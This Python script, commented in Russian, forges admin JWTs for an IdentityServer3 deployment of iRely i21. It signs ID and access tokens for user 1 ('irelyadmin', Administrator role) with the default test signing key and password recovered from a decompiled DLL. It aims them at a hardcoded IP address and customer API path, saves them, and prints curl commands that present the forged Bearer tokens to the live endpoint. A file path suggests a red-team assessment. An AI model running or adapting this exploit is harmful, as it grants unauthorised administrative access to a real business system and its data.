#!/usr/bin/env python3
"""
JWT Forge для IdentityServer3 (iRely i21).

Что найдено из декомпиляции iRely.Web.dll:
- Signing cert: idsrv3test.pfx (RSA 2048, пароль 'idsrv3test', CN=idsrv3test, issuer=DevRoot)
- Issuer: /identityserver (base path), urn:idsrv3 (alternative)
- Scopes: openid profile roles i21Api
- Claim types (Microsoft schema):
  - http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name  (= username)
  - http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier (= user_id)
  - http://schemas.microsoft.com/ws/2008/06/identity/claims/role (= role)
  - http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider
- Custom claims: intRoleId, intUserRoleID, Company, UserId, DisplayNameClaimType
- Token types: id_token, access_token, id_token token
- Response type: id_token token (implicit flow)
- OAuth2 grant: authorization_code (но можно forge и implicit)
"""
import jwt
import time
import json
from pathlib import Path

# RSA private key (из pfx, расшифрованный)
KEY_PATH = "/tmp/idsrv3test_key.pem"

with open(KEY_PATH, "r") as f:
    private_key = f.read()

# Параметры из DLL
ISSUER = "https://50.21.183.111/identityserver"  # IdentityServer3 base path
AUDIENCE = "urn:idsrv3"  # из strings: urn:idsrv3
SCOPES = "openid profile roles i21Api"

# Claims для admin-пользователя
# Из БД мы знаем структуру: tblSMUser (intUserId), tblSMUserRole (intRoleId, intUserRoleID)
# Admin role: из GetMenusByRole / IsUserRoleAdmin
# Возьмём user_id=1 (обычно admin в i21), role=Administrator
now = int(time.time())

# IdentityServer3 JWT format (OpenID Connect ID Token)
payload = {
    # Standard OIDC claims
    "iss": ISSUER,
    "aud": AUDIENCE,
    "sub": "1",  # subject (user_id) — обычно 1 = admin/irelyadmin
    "iat": now,
    "nbf": now,
    "exp": now + 3600,  # 1 hour
    "auth_time": now,
    "nonce": "forge-" + str(now),

    # Microsoft schema claims (из DLL strings)
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "irelyadmin",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
    "http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider": "idsrv3test",

    # i21 custom claims (из DLL strings)
    "intRoleId": "1",
    "intUserRoleID": "1",
    "Company": "01",
    "UserId": "1",
    "scope": SCOPES,
}

# IdentityServer3 uses RS256 for JWT signing by default
token = jwt.encode(
    payload,
    private_key,
    algorithm="RS256",
    headers={"kid": "idsrv3test", "typ": "JWT", "alg": "RS256"},
)

print("=== FORGED JWT (IdentityServer3 / iRely i21) ===")
print(f"Signing key: idsrv3test.pfx (RSA 2048, extracted)")
print(f"Issuer: {ISSUER}")
print(f"Audience: {AUDIENCE}")
print(f"Scopes: {SCOPES}")
print(f"Subject: user_id=1 (irelyadmin)")
print(f"Role: Administrator")
print(f"Expiry: {3600}s (1 hour)")
print()
print("=== JWT TOKEN ===")
print(token)
print()

# Decode for verification
decoded = jwt.decode(token, options={"verify_signature": False})
print("=== PAYLOAD (for verification) ===")
print(json.dumps(decoded, indent=2))
print()

# Also generate access_token variant (shorter, for API Bearer auth)
access_payload = {
    "iss": ISSUER,
    "aud": AUDIENCE,
    "sub": "1",
    "iat": now,
    "nbf": now,
    "exp": now + 3600,
    "scope": SCOPES,
    "client_id": "i21_mvc_client",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "irelyadmin",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
}
access_token = jwt.encode(access_payload, private_key, algorithm="RS256",
                         headers={"kid": "idsrv3test", "typ": "JWT", "alg": "RS256"})
print("=== ACCESS TOKEN (for Bearer auth on API) ===")
print(access_token)
print()

# Save tokens
Path("/root/ir-assessment/redteam/irelydata/schema_inventory/forged_tokens.json").write_text(
    json.dumps({
        "id_token": token,
        "access_token": access_token,
        "payload": payload,
        "access_payload": access_payload,
        "issuer": ISSUER,
        "audience": AUDIENCE,
        "scopes": SCOPES,
        "signing_key": "idsrv3test.pfx (RSA 2048, password=idsrv3test)",
    }, indent=2)
)
print("Saved to: forged_tokens.json")
print()
print("=== TEST COMMANDS ===")
print(f"# API Bearer test:")
print(f'curl -sS -H "Authorization: Bearer {access_token}" http://50.21.183.111/2210CherryEnergyUAP1/api/CompanyPreference')
print()
print(f"# OIDC ID token test:")
print(f'curl -sS -H "Authorization: Bearer {token}" http://50.21.183.111/2210CherryEnergyUAP1/api/CompanyPreference')
